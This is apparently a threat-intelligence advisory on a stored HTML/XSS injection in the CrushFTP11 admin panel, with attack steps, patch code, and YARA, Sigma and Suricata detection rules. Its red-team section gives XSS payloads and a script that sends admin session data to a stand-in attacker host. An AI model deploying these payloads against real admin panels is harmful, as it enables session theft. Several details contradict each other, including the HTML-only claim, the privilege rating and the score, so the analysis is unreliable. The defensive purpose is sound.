CVE-2025-63420

Executive Summary

CVE-2025-63420 is a stored HTML injection vulnerability in CrushFTP11 versions prior to 11.3.7_57. The flaw resides in the Admin Panel's "Reports" section, specifically within the "Who Created Folder" feature. An authenticated attacker with administrative privileges can inject arbitrary HTML into this field, which is then persistently rendered in the admin session. This allows for persistent HTML execution, potentially leading to session hijacking, credential theft, or further compromise of the admin interface. The vulnerability is classified as a stored Cross-Site Scripting (XSS) issue, though the impact is limited to HTML injection without JavaScript execution in the current description. The CVSS score is 0.0 due to incomplete scoring data, but the actual risk is moderate given the need for admin privileges.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the CrushFTP11 software. No supply chain implications are present.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - The attacker must have admin panel access.
• User Interaction (UI): Required (R) - The admin must view the report containing the injected HTML.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure possible.
• Integrity (I): Low (L) - HTML injection can modify the admin interface.
• Availability (A): None (N) - No impact on availability.

Threat Level: Moderate. While the CVSS score is low due to the requirement for admin privileges, the persistence of the injection and the potential for social engineering or chaining with other vulnerabilities elevate the risk.

Deep Dive & Mechanics

The vulnerability is a classic stored HTML injection. The "Who Created Folder" field in the CrushFTP Admin Panel's Reports section does not properly sanitize user input. When an admin creates a folder, the username or associated metadata is stored in the database. If an attacker (with admin privileges) crafts a malicious HTML payload in this field, it is stored and later rendered without proper encoding when the admin views the report.

Attack Flow:

1. An attacker with admin access navigates to the Reports section.
2. The attacker creates a folder and injects HTML into the "Who Created Folder" field (e.g., <img src=x onerror=alert(1)> or <script>alert(1)</script>).
3. The payload is stored in the database.
4. When another admin (or the same admin) views the report, the HTML is rendered in the browser, executing the payload.

Impact:

• Persistent HTML injection in the admin panel.
• Potential for session hijacking if combined with JavaScript (though the description only mentions HTML injection).
• Defacement of the admin interface.
• Phishing attacks against other admins.

Vulnerable vs. Patched Code

Vulnerable Code (before 11.3.7_57): The vulnerable code likely outputs the "Who Created Folder" field directly without sanitization. For example:

// Vulnerable: Direct output without encoding
out.println("<td>" + folder.getCreator() + "</td>");

Patched Code (11.3.7_57 and later): The patched code properly encodes HTML entities before output:

// Patched: HTML-encode the output
out.println("<td>" + StringEscapeUtils.escapeHtml4(folder.getCreator()) + "</td>");

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to CrushFTP11 Admin Panel (version < 11.3.7_57).
• Valid admin credentials.

Exploitation Steps:

1. Log in to the CrushFTP Admin Panel.
2. Navigate to Reports > "Who Created Folder".
3. Create a new folder and inject the following payload into the "Created By" field:

   <img src=x onerror=alert('XSS')>
   

4. Save the folder.
5. When any admin views the report, the payload executes.

Advanced Payload (Session Hijacking):

<script>
fetch('/admin/session').then(r=>r.text()).then(t=>{fetch('http://attacker.com/steal?data='+btoa(t))});
</script>

Blue Team (Detection & Mitigation)

Detection:

• Monitor for unusual HTML tags in the "Who Created Folder" field.
• Look for outbound connections from the admin panel to unknown domains.
• Use the detection rules provided below.

Mitigation:

• Immediately upgrade to CrushFTP11 version 11.3.7_57 or later.
• Restrict admin panel access to trusted IPs.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the admin panel.
  • Unusual HTML tags in HTTP POST requests to the admin panel.
• File IOCs:
  • Modified database entries containing HTML/JavaScript payloads in the "Who Created Folder" field.
• Log IOCs:
  • Admin panel logs showing creation of folders with suspicious metadata.

Detection Engineering

YARA Rule

rule CVE_2025_63420_Stored_HTML_Injection {
    meta:
        description = "Detects stored HTML injection in CrushFTP11 admin panel"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63420"
    strings:
        $html_injection = /<[^>]+onerror\s*=|javascript:|<script\b[^>]*>/i
    condition:
        $html_injection
}

Sigma Rule

title: CrushFTP11 Stored HTML Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored HTML injection in CrushFTP11 admin panel
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-63420
logsource:
    category: application
    product: crushftp
detection:
    selection:
        event: "folder_created"
        creator: "*<*>*"
    condition: selection
falsepositives:
    - Legitimate use of HTML in folder names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-63420 CrushFTP11 Stored HTML Injection"; flow:to_server,established; content:"POST"; http_method; content:"/admin/reports"; http_uri; content:"<"; within:100; pcre:"/<[^>]+onerror\s*=|javascript:|<script\b[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to CrushFTP11 version 11.3.7_57 or later.
2. If upgrade is not possible, restrict admin panel access to trusted IPs only.
3. Implement a Web Application Firewall (WAF) rule to block HTML injection attempts.

Long-term Measures:

• Conduct a security audit of all input fields in the admin panel.
• Implement output encoding for all user-supplied data.
• Enforce Content Security Policy (CSP) headers.
• Regularly update CrushFTP to the latest version.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division.